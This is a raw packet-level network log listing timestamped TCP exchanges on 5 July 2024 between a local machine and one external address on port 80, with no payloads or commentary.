Jul 5, 2024 07:48:39.433077097 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433088064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433096886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433104038 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433109045 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433120012 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433130026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433131933 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433139086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433149099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433151007 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433161020 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433172941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433175087 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433182001 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433182955 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433196068 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433204889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433209896 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433216095 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433228970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433239937 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433243036 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433257103 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433274031 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433887959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433900118 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433908939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433921099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433929920 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433940887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.433943033 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.433983088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513212919 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513226032 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513237000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513247013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513257980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513273001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513278961 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513284922 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513305902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513333082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513348103 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513350010 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513360977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513365984 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513370991 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513381004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513390064 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513391972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513402939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513412952 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513417959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513432980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513434887 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513449907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513459921 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513463020 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513469934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513479948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513487101 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513490915 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513503075 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513513088 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513514042 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513523102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513535023 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513540030 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513545036 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513556004 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513557911 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513569117 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513576031 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513580084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513591051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513602018 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513608932 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513612032 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513628960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513636112 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513638973 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513649940 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.513674021 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.513696909 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.555933952 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.555944920 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.555954933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.556039095 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.616839886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.616864920 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.616873980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.616919994 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.616969109 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.616981030 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.616992950 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617003918 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617010117 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617033005 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617100954 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617181063 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617211103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617228031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617269993 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617337942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617348909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617360115 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617372036 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617396116 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617424011 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617501974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617512941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617522955 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617557049 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.617702961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617717028 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.617782116 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.618777037 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.618817091 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.618851900 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.618861914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.618880033 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.618894100 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619245052 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619287014 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619345903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619359970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619366884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619379997 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619441032 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619479895 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619505882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619515896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619527102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619553089 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619740963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619751930 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619761944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.619780064 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.619807959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.620750904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.620760918 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.620805979 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.620812893 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.620877981 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.621310949 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.665751934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.666016102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.666027069 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.666074991 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.666078091 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.666119099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.726866961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.726886034 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.726895094 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.726927042 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.726941109 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.726980925 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.727674007 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.727749109 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.727796078 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729038000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729048967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729058981 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729083061 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729187012 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729198933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729211092 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729223013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729228020 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729240894 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729348898 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729360104 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729371071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729388952 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729414940 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729475021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729595900 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729607105 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729635000 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729674101 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729685068 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729696035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729707003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729717970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729721069 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729728937 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729734898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729739904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.729762077 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.729790926 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.730029106 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730040073 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730070114 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.730129957 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730140924 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730153084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730205059 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.730263948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730274916 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730283976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.730303049 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.730328083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.767625093 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767678022 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767688036 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767723083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767740965 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.767781019 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.767808914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767818928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767828941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.767855883 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.808449030 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829091072 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829139948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829149961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829262972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829309940 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829324961 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829334021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829349041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829389095 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829413891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829469919 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829519033 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829596996 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829607010 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829617977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829626083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829643965 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829659939 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829739094 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829750061 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829765081 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829778910 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829786062 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829828978 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829859018 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829868078 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829898119 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.829963923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829974890 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.829984903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830010891 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830092907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830140114 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830152035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830162048 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830203056 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830209017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830286980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830296993 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830333948 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830358982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830369949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830398083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830523014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830544949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830557108 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830565929 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830566883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830590010 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830598116 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830614090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830635071 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.830780983 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830791950 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.830823898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.873830080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.873994112 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874005079 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874017000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874030113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874041080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874049902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.874052048 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.874111891 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.935908079 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.935935974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.935949087 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936053991 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936065912 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936100006 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936111927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936122894 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936193943 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936230898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936250925 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936256886 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936358929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936369896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936408043 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936434984 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936450005 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936460972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936471939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936497927 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936506987 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.936805964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936815023 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.936861038 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938095093 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938149929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938160896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938194036 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938287973 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938299894 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938353062 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938447952 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938458920 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938489914 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938687086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938698053 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938714027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938724995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938735008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938738108 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938745975 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938769102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938772917 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938792944 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.938908100 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.938951969 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.981400013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981453896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981463909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981625080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981637001 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.981637001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981647968 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981659889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981667042 CEST	63880	80	192.168.2.4	45.90.58.251
